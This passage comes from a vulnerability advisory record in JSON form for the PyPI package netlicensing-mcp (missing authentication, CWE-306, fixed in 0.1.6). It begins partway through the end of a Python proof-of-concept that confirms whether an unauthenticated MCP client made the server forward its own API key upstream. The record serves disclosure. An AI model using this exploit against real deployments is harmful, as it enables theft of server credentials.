{decoded}\", flush=True)\n print(\"=\" * 70, flush=True)\n\n # 5. Verdict\n server_key_leaked = any(\n SERVER_API_KEY in (_decode_basic(r[\"authorization\"]) or \"\")\n for r in captured_requests\n )\n\n if server_key_leaked:\n print(\n f\"\\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to \"\n f\"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream \"\n f\"NetLicensing API. CWE-306 / VULN-001 reproduced.\",\n flush=True,\n )\n sys.exit(0)\n elif not captured_requests:\n print(\n \"\\n[FAIL] No upstream requests captured — the MCP tool call did not \"\n \"reach the upstream API.\",\n flush=True,\n )\n sys.exit(2)\n else:\n print(\n \"\\n[FAIL] Upstream requests captured but server API key not found in \"\n \"Authorization headers.\",\n flush=True,\n )\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "netlicensing-mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.1.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.1.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-x9vc-9ffq-p3gj"
}, {
"type" : "WEB",
"url" : "https://github.com/Labs64/NetLicensing-MCP/commit/fbbb1d5ff88eb5400ec933a84e75601ebee48927"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Labs64/NetLicensing-MCP"
}, {
"type" : "WEB",
"url" : "https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-14T20:47:19Z",
"nvd_published_at" : null
}
}